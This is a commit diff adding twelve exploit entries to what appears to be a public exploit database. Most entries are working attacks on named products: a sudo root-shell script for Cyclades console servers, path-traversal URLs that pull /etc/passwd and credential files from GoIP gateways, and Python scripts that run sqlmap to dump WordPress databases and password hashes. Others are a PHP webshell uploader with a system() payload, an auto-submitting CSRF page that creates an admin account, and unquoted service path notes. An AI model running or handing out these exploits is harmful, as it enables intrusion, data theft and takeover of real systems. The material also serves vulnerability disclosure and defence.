DB: 2022-02-22

12 changes to exploits/shellcodes HMA VPN 5.3 - Unquoted Service Path Cyclades Serial Console Server 3.3.0 - Local Privilege Escalation Microsoft Gaming Services 2.52.13001.0 - Unquoted Service Path WordPress Plugin Perfect Survey - 1.5.1 - SQLi (Unauthenticated) Cab Management System 1.0 - 'id' SQLi (Authenticated) Microweber 1.2.11 - Remote Code Execution (RCE) (Authenticated) Cab Management System 1.0 - Remote Code Execution (RCE) (Authenticated) Thinfinity VirtualUI 2.5.41.0 - IFRAME Injection Thinfinity VirtualUI 2.5.26.2 - Information Disclosure WordPress Plugin WP User Frontend 3.5.25 - SQLi (Authenticated) FileCloud 21.2 - Cross-Site Request Forgery (CSRF) Dbltek GoIP - Local File Inclusion
2022-02-22 05:01:37 +00:00 · 2022-02-22 05:01:37 +00:00 · 8691f166f7
commit 8691f166f7
parent f2d7e05ad0
13 changed files with 603 additions and 0 deletions
--- a/exploits/hardware/local/50773.sh
+++ b/exploits/hardware/local/50773.sh
@ -0,0 +1,35 @@
+# Exploit Title: Cyclades Serial Console Server 3.3.0 - Local Privilege Escalation
+# Date: 09 Feb 2022
+# Exploit Author: @ibby
+# Vendor Homepage: https://www.vertiv.com/en-us/
+# Software Link: https://downloads2.vertivco.com/SerialACS/ACS/ACS_v3.3.0-16/FL0536-017.zip
+# Version: Legacy Versions V_1.0.0 to V_3.3.0-16
+# Tested on: Cyclades Serial Console Server software (V_1.0.0 to V_3.3.0-16)
+# CVE : N/A
+
+# The reason this exists, is the admin user & user group is the default user for these devices. The software ships with overly permissive sudo privileges
+## for any user in the admin group, or the default admin user. This vulnerability exists in all legacy versions of the software - the last version being from ~2014.
+### This vulnerability does not exist in the newer distributions of the ACS Software.
+
+#!/bin/bash
+
+## NOTE: To view the vulnerability yourself, uncomment the below code & run as sudo, since it's mounting a file system.
+## The software is publicly available, this will grab it and unpack the firmware for you.
+
+#TMPDIR=$(mktemp -d)
+#curl 'https://downloads2.vertivco.com/SerialACS/ACS/ACS_v3.3.0-16/FL0536-017.zip' -o FL0536-017.zip && unzip FL0536-017.zip $$ binwalk -e FL0536-017.bin
+#sudo mount -o ro,loop _FL0536-017.bin.extracted/148000 $TMPDIR && sudo cat "$TMPDIR/etc/sudoers"
+#echo "As you can see, the sudo permissions on various binaries, like that of /bin/mv, are risky."
+
+
+# ! EXPLOIT CODE BELOW ! #
+# -------
+# Once you exit the root shell, this will clean up and put the binaries back where they belong.
+echo "Creating backups of sed & bash binaries"
+sudo cp /bin/sed /bin/sed.bak
+sudo cp /bin/bash /bin/bash.bak
+echo "Saved as bash.bak & sed.bak"
+sudo mv /bin/bash /bin/sed
+sudo /bin/sed
+echo "Replacing our binary with the proper one"
+sudo mv /bin/bash.bak /bin/bash && sudo mv /bin/sed.bak /bin/sed
--- a/exploits/hardware/webapps/50775.txt
+++ b/exploits/hardware/webapps/50775.txt
@ -0,0 +1,28 @@
+# Exploit Title: Dbltek GoIP - Local File Inclusion
+# Date: 20.02.2022
+# Exploit Author: Valtteri Lehtinen & Lassi Korhonen
+# Vendor Homepage: http://en.dbltek.com/index.html
+# Software Link: -
+# Version: GHSFVT-1.1-67-5 (firmware version)
+# Tested on: Target is an IoT device
+
+# Exploit summary
+Dbltek GoIP-1 is a VoIP-GSM gateway device, which allows making calls and sending SMS messages using SIP.
+The device has a webserver that contains two pre-auth Local File Inclusion vulnerabilities.
+
+Using these, it is possible to download the device configuration file containing all device credentials (including admin panel credentials and SIP credentials) if the configuration file has been backed up.
+
+It is probable that also other models and versions of Dbltek GoIP devices are affected.
+
+Writeup: https://shufflingbytes.com/posts/hacking-goip-gsm-gateway/
+
+# Proof of Concept
+Assuming the device is available on IP 192.168.9.1.
+
+Download /etc/passwd
+http://192.168.9.1/default/en_US/frame.html?content=3D..%2f..%2f..%2f ..%2f..%2fetc%2fpasswd
+http://192.168.9.1/default/en_US/frame.A100.html?sidebar=3D..%2f..%2f ..%2f..%2f..%2fetc%2fpasswd
+
+Download device configuration file from /tmp/config.dat (requires that the configuration file has been backed up)
+http://192.168.9.1/default/en_US/frame.html?content=3D..%2f..%2f..%2f..%2f..%2ftmp%2fconfig.dat
+http://192.168.9.1/default/en_US/frame.A100.html?sidebar=3D..%2f..%2f..%2f..%2f..%2ftmp%2fconfig.dat
--- a/exploits/multiple/webapps/50770.txt
+++ b/exploits/multiple/webapps/50770.txt
@ -0,0 +1,22 @@
+Exploit Title: Thinfinity VirtualUI 2.5.41.0  - IFRAME Injection
+Date: 16/12/2021
+Exploit Author: Daniel Morales
+Vendor: https://www.cybelesoft.com <https://www.cybelesoft.com/>
+Software Link: https://www.cybelesoft.com/thinfinity/virtualui/ <https://www.cybelesoft.com/thinfinity/virtualui/>
+Version: Thinfinity VirtualUI < v3.0
+Tested on: Microsoft Windows
+CVE: CVE-2021-45092
+
+How it works
+By accessing the following payload (URL) an attacker could iframe any external website (of course, only external endpoints that allows being iframed).
+
+Payload
+The vulnerable vector is "https://example.com/lab.html?vpath=//wikipedia.com <https://example.com/lab.html?vpath=//wikipedia.com> " where "vpath=//" is the pointer to the external site to be iframed.
+
+Vulnerable versions
+It has been tested in VirtualUI version 2.1.37.2, 2.1.42.2, 2.5.0.0, 2.5.36.1, 2.5.36.2 and 2.5.41.0.
+
+References
+https://github.com/cybelesoft/virtualui/issues/2 <https://github.com/cybelesoft/virtualui/issues/2>
+https://www.tenable.com/cve/CVE-2021-45092 <https://www.tenable.com/cve/CVE-2021-45092>
+https://twitter.com/danielmofer <https://twitter.com/danielmofer>
--- a/exploits/multiple/webapps/50771.txt
+++ b/exploits/multiple/webapps/50771.txt
@ -0,0 +1,28 @@
+Exploit Title: Thinfinity VirtualUI  2.5.26.2 - Information Disclosure
+Date: 18/01/2022
+Exploit Author: Daniel Morales
+Vendor: https://www.cybelesoft.com <https://www.cybelesoft.com/>
+Software Link: https://www.cybelesoft.com/thinfinity/virtualui/ <https://www.cybelesoft.com/thinfinity/virtualui/>
+Version vulnerable: Thinfinity VirtualUI < v2.5.26.2
+Tested on: Microsoft Windows
+CVE: CVE-2021-46354
+
+How it works
+External service interaction arises when it is possible to induce an application to interact with an arbitrary external service. The ability to send requests to other systems can allow the vulnerable server to filtrate the real IP of the webserver or increase the attack surface (it may be used also to filtrate the real IP behind a CDN).
+
+Payload
+An example of the HTTP request "https://example.com/cmd <https://example.com/cmd>?
+cmd=connect&wscompression=true&destAddr=domain.com <http://domain.com/>
+&scraper=fmx&screenWidth=1918&screenHeight=934&fitmode=0&argumentsp=&orientation=0&browserWidth=191
+8&browserHeight=872&supportCur=true&id=null&devicePixelRatio=1&isMobile=false&isLandscape=true&supp
+ortsFullScreen=true&webapp=false”
+
+Where "domain.com <http://domain.com/>" is the external endpoint to be requested.
+
+Vulnerable versions
+It has been tested in VirtualUI version 2.1.28.0, 2.1.32.1 and 2.5.26.2
+
+References
+https://github.com/cybelesoft/virtualui/issues/3 <https://github.com/cybelesoft/virtualui/issues/3>
+https://www.tenable.com/cve/CVE-2021-46354 <https://www.tenable.com/cve/CVE-2021-46354>
+https://twitter.com/danielmofer <https://twitter.com/danielmofer>
--- a/exploits/php/webapps/50766.py
+++ b/exploits/php/webapps/50766.py
@ -0,0 +1,65 @@
+# Exploit Title: WordPress Plugin Perfect Survey - 1.5.1 - SQLi (Unauthenticated)
+# Date 18.02.2022
+# Exploit Author: Ron Jost (Hacker5preme)
+# Vendor Homepage: https://www.getperfectsurvey.com/
+# Software Link: https://web.archive.org/web/20210817031040/https://downloads.wordpress.org/plugin/perfect-survey.1.5.1.zip
+# Version: < 1.5.2
+# Tested on: Ubuntu 20.04
+# CVE: CVE-2021-24762
+# CWE: CWE-89
+# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24762/README.md
+
+'''
+Description:
+The Perfect Survey WordPress plugin before 1.5.2 does not validate and escape the question_id GET parameter before
+using it in a SQL statement in the get_question AJAX action, allowing unauthenticated users to perform SQL injection.
+'''
+
+banner = '''
+
+   ___    _     _  ______         ____   ____     ____   ___           ____  _    _  _______  _____    ____
+ _(___)_ (_)   (_)(______)      _(____) (____)  _(____) (___)        _(____)(_)  (_)(_______)(_____) _(____)
+(_)   (_)(_)   (_)(_)__  ______(_) _(_)(_)  (_)(_) _(_)(_)(_) ______(_) _(_)(_)__(_)_   _(_)(_)___  (_) _(_)
+(_)    _ (_)   (_)(____)(______) _(_)  (_)  (_)  _(_)     (_)(______) _(_)  (________)_(_)  (_____)_  _(_)
+(_)___(_) (_)_(_) (_)____       (_)___ (_)__(_) (_)___    (_)        (_)___      (_) (_)    (_)___(_)(_)___
+  (___)    (___)  (______)     (______) (____) (______)   (_)       (______)     (_)(_)      (_____)(______)
+
+
+								[+] Perfect Survey - SQL Injection
+								[@] Developed by Ron Jost (Hacker5preme)
+
+'''
+print(banner)
+
+import argparse
+from datetime import datetime
+import os
+
+# User-Input:
+my_parser = argparse.ArgumentParser(description= 'Perfect Survey - SQL-Injection (unauthenticated)')
+my_parser.add_argument('-T', '--IP', type=str)
+my_parser.add_argument('-P', '--PORT', type=str)
+my_parser.add_argument('-U', '--PATH', type=str)
+args = my_parser.parse_args()
+target_ip = args.IP
+target_port = args.PORT
+wp_path = args.PATH
+
+print('[*] Starting Exploit at: ' + str(datetime.now().strftime('%H:%M:%S')))
+print('[*] Payload for SQL-Injection:')
+exploitcode_url = r'sqlmap "http://' + target_ip + ':' + target_port + wp_path + r'wp-admin/admin-ajax.php?action=get_question&question_id=1 *" '
+print('    Sqlmap options:')
+print('     -a, --all           Retrieve everything')
+print('     -b, --banner        Retrieve DBMS banner')
+print('     --current-user      Retrieve DBMS current user')
+print('     --current-db        Retrieve DBMS current database')
+print('     --passwords         Enumerate DBMS users password hashes')
+print('     --tables            Enumerate DBMS database tables')
+print('     --columns           Enumerate DBMS database table column')
+print('     --schema            Enumerate DBMS schema')
+print('     --dump              Dump DBMS database table entries')
+print('     --dump-all          Dump all DBMS databases tables entries')
+retrieve_mode = input('Which sqlmap option should be used to retrieve your information? ')
+exploitcode = exploitcode_url +  retrieve_mode + ' --answers="follow=Y" --batch -v 0'
+os.system(exploitcode)
+print('Exploit finished at: ' + str(datetime.now().strftime('%H:%M:%S')))
--- a/exploits/php/webapps/50767.txt
+++ b/exploits/php/webapps/50767.txt
@ -0,0 +1,37 @@
+# Exploit Title: Cab Management System 1.0 - 'id' SQLi (Authenticated)
+# Exploit Author: Alperen Ergel
+# Contact: @alpernae (IG/TW)
+# Software Homepage: https://www.sourcecodester.com/php/15180/cab-management-system-phpoop-free-source-code.html
+# Version : 1.0
+# Tested on: windows 10 xammp | Kali linux
+# Category: WebApp
+# Google Dork: N/A
+# Date: 18.02.2022
+######## Description ########
+#
+#
+#  Authenticate and get update client settings will be appear the
+#  id paramater put your payload at there it'll be work
+#
+#
+#
+######## Proof of Concept ########
+
+========>>> REQUEST <<<=========
+
+GET /cms/admin/?page=clients/manage_client&id=1%27%20AND%20(SELECT%208928%20FROM%20(SELECT(SLEEP(10)))hVPW)%20AND%20%27qHYS%27=%27qHYS HTTP/1.1
+Host: localhost
+sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
+sec-ch-ua-mobile: ?0
+sec-ch-ua-platform: "Windows"
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
+Sec-Fetch-Site: none
+Sec-Fetch-Mode: navigate
+Sec-Fetch-User: ?1
+Sec-Fetch-Dest: document
+Accept-Encoding: gzip, deflate
+Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
+Cookie: PHPSESSID=m1s7h9jremg0vj7ipk9m05n1nt
+Connection: close
--- a/exploits/php/webapps/50768.txt
+++ b/exploits/php/webapps/50768.txt
@ -0,0 +1,19 @@
+# Exploit Title: Microweber 1.2.11 - Remote Code Execution (RCE) (Authenticated)
+# Google Dork: NA
+# Date: 02/17/2022
+# Exploit Author: Chetanya Sharma @AggressiveUser
+# Vendor Homepage: https://microweber.org/
+# Software Link: https://github.com/microweber/microweber
+# Version: 1.2.11
+# Tested on: [KALI OS]
+# CVE : CVE-2022-0557
+# Reference : https://huntr.dev/bounties/660c89af-2de5-41bc-aada-9e4e78142db8/
+
+# Step To Reproduce
+- Login using Admin Creds.
+- Navigate to User Section then Add/Modify Users
+- Change/Add image of profile and Select a Crafted Image file
+- Crafted image file Aka A image file which craft with PHP CODES for execution
+- File Extension of Crafted File is PHP7 like "Sample.php7"
+
+- Path of Uploaded Crafted SHELL https://localhost/userfiles/media/default/shell.php7
--- a/exploits/php/webapps/50769.txt
+++ b/exploits/php/webapps/50769.txt
@ -0,0 +1,85 @@
+# Exploit Title: Cab Management System 1.0 - Remote Code Execution (RCE) (Authenticated)
+# Exploit Author: Alperen Ergel
+# Contact: @alpernae (IG/TW)
+# Software Homepage: https://www.sourcecodester.com/php/15180/cab-management-system-phpoop-free-source-code.html
+# Version : 1.0
+# Tested on: windows 10 xammp | Kali linux
+# Category: WebApp
+# Google Dork: N/A
+# Date: 18.02.2022
+######## Description ########
+#
+#
+#  Step 1: Login admin account and go settings of site
+#  Step 2: Update web site icon and selecet a webshell.php
+#  Step3 : Upload your webshell that's it...
+#
+######## Proof of Concept ########
+
+========>>> START REQUEST <<<=========
+
+POST /cms/classes/SystemSettings.php?f=update_settings HTTP/1.1
+Host: localhost
+Content-Length: 11338
+sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
+Accept: */*
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryc5vp1oayEolowCbb
+X-Requested-With: XMLHttpRequest
+sec-ch-ua-mobile: ?0
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
+sec-ch-ua-platform: "Windows"
+Origin: http://localhost
+Sec-Fetch-Site: same-origin
+Sec-Fetch-Mode: cors
+Sec-Fetch-Dest: empty
+Referer: http://localhost/cms/admin/?page=system_info
+Accept-Encoding: gzip, deflate
+Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
+Cookie: PHPSESSID=samlsgsrh4iq50eqc1qldpthml
+Connection: close
+
+
+<-- SNIPP HERE -->
+------WebKitFormBoundaryc5vp1oayEolowCbb
+Content-Disposition: form-data; name="img"; filename="shell.php"
+Content-Type: application/octet-stream
+
+<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
+------WebKitFormBoundaryc5vp1oayEolowCbb
+Content-Disposition: form-data; name="cover"; filename=""
+Content-Type: application/octet-stream
+------WebKitFormBoundaryc5vp1oayEolowCbb--
+<-- SNIPP HERE -->
+
+========>>> END REQUEST <<<=========
+
+
+========>>> EXPLOIT CODE <<<=========
+
+
+import requests
+print("""
+--------------------------------------------
+|                                          |
+|   Author: Alperen Ergel (@alpernae)      |
+|                                          |
+|   CAB Management System v1 Exploit       |
+|                                          |
+--------------------------------------------
+""")
+username = input("Username: ")
+password = input("Password: ")
+URL = input("Domain: ")
+
+burp0_url = "http://" + URL + "/cms/classes/Login.php?f=login"
+burp0_headers = {"sec-ch-ua": "\"(Not(A:Brand\";v=\"8\", \"Chromium\";v=\"98\"", "Accept": "*/*", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "sec-ch-ua-mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36", "sec-ch-ua-platform": "\"Windows\"", "Origin": "http://192.168.1.33", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "http://192.168.1.33/cms/admin/login.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
+burp0_data = {"username": username, "password": password}
+requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
+
+
+FILE = input("File: ")
+
+burp0_url = "http://" + URL + "/cms/classes/SystemSettings.php?f=update_settings"
+burp0_headers = {"sec-ch-ua": "\"(Not(A:Brand\";v=\"8\", \"Chromium\";v=\"98\"", "Accept": "*/*", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryc5vp1oayEolowCbb", "X-Requested-With": "XMLHttpRequest", "sec-ch-ua-mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36", "sec-ch-ua-platform": "\"Windows\"", "Origin": "http://localhost", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "http://localhost/cms/admin/?page=system_info", "Accept-Encoding": "gzip, deflate", "Accept-Language": "tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
+burp0_data = "------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\nCab Management System\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"short_name\"\r\n\r\nCMS - PHP\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"content[welcome]\"\r\n\r\n<ptest</p>\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"files\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"content[about]\"\r\n\r\n<ptest</p>\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"files\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"img\"; filename=\"" + FILE + "\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"cover\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryc5vp1oayEolowCbb--\r\n"
+requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
--- a/exploits/php/webapps/50772.py
+++ b/exploits/php/webapps/50772.py
@ -0,0 +1,110 @@
+# Exploit Title: WordPress Plugin WP User Frontend 3.5.25 - SQLi (Authenticated)
+# Date 20.02.2022
+# Exploit Author: Ron Jost (Hacker5preme)
+# Vendor Homepage: https://wedevs.com/
+# Software Link: https://downloads.wordpress.org/plugin/wp-user-frontend.3.5.25.zip
+# Version: < 3.5.25
+# Tested on: Ubuntu 20.04
+# CVE: CVE-2021-25076
+# CWE: CWE-89
+# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-25076/README.md
+
+'''
+Description:
+The WP User Frontend WordPress plugin before 3.5.26 does not validate and escape the status parameter
+before using it in a SQL statement in the Subscribers dashboard, leading to an SQL injection.
+Due to the lack of sanitisation and escaping, this could also lead to Reflected Cross-Site Scripting
+'''
+
+banner = '''
+
+ _|_|_|  _|      _|  _|_|_|_|              _|_|      _|      _|_|      _|                _|_|    _|_|_|_|    _|    _|_|_|_|_|    _|_|_|
+_|        _|      _|  _|                  _|    _|  _|  _|  _|    _|  _|_|              _|    _|  _|        _|  _|          _|  _|
+_|        _|      _|  _|_|_|  _|_|_|_|_|      _|    _|  _|      _|      _|  _|_|_|_|_|      _|    _|_|_|    _|  _|        _|    _|_|_|
+_|          _|  _|    _|                    _|      _|  _|    _|        _|                _|            _|  _|  _|      _|      _|    _|
+  _|_|_|      _|      _|_|_|_|            _|_|_|_|    _|    _|_|_|_|    _|              _|_|_|_|  _|_|_|      _|      _|          _|_|
+
+										[+] WP User Frontend - SQL Injection
+										[@] Developed by Ron Jost (Hacker5preme)
+'''
+print(banner)
+
+import argparse
+from datetime import datetime
+import os
+import requests
+import json
+
+# User-Input:
+my_parser = argparse.ArgumentParser(description= 'WP User Frontend - SQL-Injection (Authenticated)')
+my_parser.add_argument('-T', '--IP', type=str)
+my_parser.add_argument('-P', '--PORT', type=str)
+my_parser.add_argument('-U', '--PATH', type=str)
+my_parser.add_argument('-u', '--USERNAME', type=str)
+my_parser.add_argument('-p', '--PASSWORD', type=str)
+args = my_parser.parse_args()
+target_ip = args.IP
+target_port = args.PORT
+wp_path = args.PATH
+username = args.USERNAME
+password = args.PASSWORD
+
+
+
+print('[*] Starting Exploit at: ' + str(datetime.now().strftime('%H:%M:%S')))
+
+# Authentication:
+session = requests.Session()
+auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php'
+check = session.get(auth_url)
+# Header:
+header = {
+    'Host': target_ip,
+    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
+    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
+    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
+    'Accept-Encoding': 'gzip, deflate',
+    'Content-Type': 'application/x-www-form-urlencoded',
+    'Origin': 'http://' + target_ip,
+    'Connection': 'close',
+    'Upgrade-Insecure-Requests': '1'
+}
+
+# Body:
+body = {
+    'log': username,
+    'pwd': password,
+    'wp-submit': 'Log In',
+    'testcookie': '1'
+}
+auth = session.post(auth_url, headers=header, data=body)
+
+# SQL-Injection (Exploit):
+# Generate payload for sqlmap
+cookies_session = session.cookies.get_dict()
+cookie = json.dumps(cookies_session)
+cookie = cookie.replace('"}','')
+cookie = cookie.replace('{"', '')
+cookie = cookie.replace('"', '')
+cookie = cookie.replace(" ", '')
+cookie = cookie.replace(":", '=')
+cookie = cookie.replace(',', '; ')
+print('[*] Payload for SQL-Injection:')
+exploitcode_url = r'sqlmap -u "http://' + target_ip + ':' + target_port + wp_path + r'wp-admin/admin.php?page=wpuf_subscribers&post_ID=1&status=1" '
+exploitcode_risk = '--level 2 --risk 2 '
+exploitcode_cookie = '--cookie="' + cookie + '" '
+print('    Sqlmap options:')
+print('     -a, --all           Retrieve everything')
+print('     -b, --banner        Retrieve DBMS banner')
+print('     --current-user      Retrieve DBMS current user')
+print('     --current-db        Retrieve DBMS current database')
+print('     --passwords         Enumerate DBMS users password hashes')
+print('     --tables            Enumerate DBMS database tables')
+print('     --columns           Enumerate DBMS database table column')
+print('     --schema            Enumerate DBMS schema')
+print('     --dump              Dump DBMS database table entries')
+print('     --dump-all          Dump all DBMS databases tables entries')
+retrieve_mode = input('Which sqlmap option should be used to retrieve your information? ')
+exploitcode = exploitcode_url + exploitcode_risk + exploitcode_cookie + retrieve_mode + ' -p status -v 0 --answers="follow=Y" --batch'
+os.system(exploitcode)
+print('Exploit finished at: ' + str(datetime.now().strftime('%H:%M:%S')))
--- a/exploits/php/webapps/50774.txt
+++ b/exploits/php/webapps/50774.txt
@ -0,0 +1,64 @@
+# Exploit Title: FileCloud 21.2 - Cross-Site Request Forgery (CSRF)
+# Date: 2022-02-20
+# Exploit Author: Masashi Fujiwara
+# Vendor Homepage: https://www.filecloud.com/
+# Software Link: https://hub.docker.com/r/filecloud/filecloudserver21.2
+# Version: All versions of FileCloud prior to 21.3 (Fiexd: version 21.3.0.18447)
+# Tested on:
+#  OS: Ubuntu 18.04.6 LTS (Docker)
+#  Apache: 2.4.52
+#  FileCloud: 21.2.4.17315
+# CVE: CVE-2022-25241 (https://www.filecloud.com/supportdocs/fcdoc/latest/server/security-advisories/advisory-2022-01-3-threat-of-csrf-via-user-creation)
+
+# Conditions
+1. Only vulnerable if cookies have samesite set to None (SameSite=None).
+   echo 'define("TONIDOCLOUD_COOKIE_SAME_SITE_TYPE", "None");' >> /var/www/html/config/cloudconfig.php
+2. Use https as target url (When cookies set SameSite=None, also set Secure).
+
+# PoC (HTML)
+<html>
+<head>
+<meta http-equiv="Pragma" content="no-cache">
+<meta http-equiv="Cache-Control" content="no-cache">
+
+<script>
+function init(){
+  myFormData = new FormData();
+  let fileContent = new Blob(["UserName,EmailID,Password,DisplayName,Status,ExpirationDate,Groups,EmailVerified\nhacker,hacker@hacker.com,Password1,hacker,FULL,02/26/2222,Group1,YES\n"], {type: 'application/vnd.ms-excel'});
+  myFormData.append("uploadFormElement", fileContent, "user.csv");
+  fetch("https://192.168.159.129:8443/admin/?op=import&sendapprovalemail=0&sendpwdasplaintext=0", { method: "post", body: myFormData, credentials: "include"});
+}
+</script>
+</head>
+<body onload="init()">
+CSRF PoC for CVE-2022-25241
+
+Creat hacker user with Password1 via CSV file upload.
+</body>
+</html>
+
+
+
+# HTTPS Request
+POST /admin/?op=import&sendapprovalemail=0&sendpwdasplaintext=0 HTTP/1.1
+Host: 192.168.159.129:8443
+Cookie: X-XSRF-TOKEN-admin=rhedxvo0gullbvzkgwwv; X-XSRF-TOKEN=rhedxvo0gullbvzkgwwv; tonidocloud-au=admin; tonidocloud-as=29352577-cfaa-42e6-80e5-7a304bc78333; tonidocloud-ah=4514fb08f852d2682151efdb938d377734b1e493
+Content-Length: 365
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiAXsUsJ2ZV54DFuW
+Connection: close
+
+------WebKitFormBoundaryiAXsUsJ2ZV54DFuW
+Content-Disposition: form-data; name="uploadFormElement"; filename="user.csv"
+Content-Type: application/vnd.ms-excel
+
+UserName,EmailID,Password,DisplayName,Status,ExpirationDate,Groups,EmailVerified
+hacker,hacker@hacker.com,Password1,hacker,FULL,02/26/2222,Group1,YES
+
+------WebKitFormBoundaryiAXsUsJ2ZV54DFuW--
+
+
+
+# CSV file format
+UserName,EmailID,Password,DisplayName,Status,ExpirationDate,Groups,EmailVerified
+hacker,hacker@hacker.com,Password1,hacker,FULL,02/26/2222,Group1,YES
--- a/exploits/windows/local/50765.txt
+++ b/exploits/windows/local/50765.txt
@ -0,0 +1,27 @@
+# Exploit Title: HMA VPN 5.3 - Unquoted Service Path
+# Date: 18/02/2022
+# Exploit Author: Saud Alenazi
+# Vendor Homepage: https://www.hidemyass.com/
+# Software Link: https://www.hidemyass.com/en-us/downloads
+# Version: 5.3.5913.0
+# Tested: Windows 10 Pro x64 es
+
+
+C:\Users\saudh>sc qc HmaProVpn
+[SC] QueryServiceConfig SUCCESS
+
+SERVICE_NAME: HmaProVpn
+        TYPE               : 20  WIN32_SHARE_PROCESS
+        START_TYPE         : 2   AUTO_START
+        ERROR_CONTROL      : 1   NORMAL
+        BINARY_PATH_NAME   : "C:\Program Files\Privax\HMA VPN\VpnSvc.exe"
+        LOAD_ORDER_GROUP   :
+        TAG                : 0
+        DISPLAY_NAME       : HMA VPN
+        DEPENDENCIES       :
+        SERVICE_START_NAME : LocalSystem
+
+
+#Exploit:
+
+A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
--- a/exploits/windows/local/50776.txt
+++ b/exploits/windows/local/50776.txt
@ -0,0 +1,71 @@
+# Exploit Title: Microsoft Gaming Services 2.52.13001.0 - Unquoted Service Path
+# Discovery by: Johto Robbie
+# Discovery Date: May 12, 2021
+# Tested Version: 2.52.13001.0
+# Vulnerability Type: Unquoted Service Path
+# Tested on OS: Windows 10 x64 Home
+
+# Step to discover Unquoted Service Path:
+
+Go to Start and type cmd. Enter the following command and press Enter:
+
+C:\Users\Bang's>wmic service get name, displayname, pathname, startmode |
+findstr /i "Auto" | findstr /i /v "C:\Windows\" | findstr /i /v """
+
+Gaming Services
+        GamingServices           C:\Program
+Files\WindowsApps\Microsoft.GamingServices_2.52.13001.0_x64__8wekyb3d8bbwe\GamingServices.exe
+
+
+
+                                                                        Auto
+
+Gaming Services
+        GamingServicesNet        C:\Program
+Files\WindowsApps\Microsoft.GamingServices_2.52.13001.0_x64__8wekyb3d8bbwe\GamingServicesNet.exe
+
+
+
+                                                                     Auto
+
+C:\Users\Bang's>sc qc "GamingServices"
+
+[SC] QueryServiceConfig SUCCESS
+
+SERVICE_NAME: GamingServices
+
+        TYPE               : 210  WIN32_PACKAGED_PROCESS
+
+        START_TYPE         : 2   AUTO_START
+
+        ERROR_CONTROL      : 0   IGNORE
+
+        BINARY_PATH_NAME   : C:\Program
+Files\WindowsApps\Microsoft.GamingServices_2.52.13001.0_x64__8wekyb3d8bbwe\GamingServices.exe
+
+        LOAD_ORDER_GROUP   :
+
+        TAG                : 0
+
+        DISPLAY_NAME       : Gaming Services
+
+        DEPENDENCIES       : staterepository
+
+        SERVICE_START_NAME : LocalSystem
+
+This application have no quote . And it contained in C:\Program Files. Put
+mot malicious aplication with name "progarm.exe"
+
+Stop & Start: GamingServices. "progarm.exe" will be execute
+
+#Exploit:
+
+An unquoted service path in
+Microsoft.GamingServices_2.52.13001.0_x64__8wekyb3d8bbwe, could lead to
+privilege escalation during the installation process that is performed when
+an executable file is registered. This could further lead to complete
+compromise of confidentiality, Integrity and Availability.
+
+#Timeline
+May 12, 2021 - Reported to Microsoft
+Feb 11, 2022 - Confirmed vulnerability has been fixed
--- a/files_exploits.csv
+++ b/files_exploits.csv
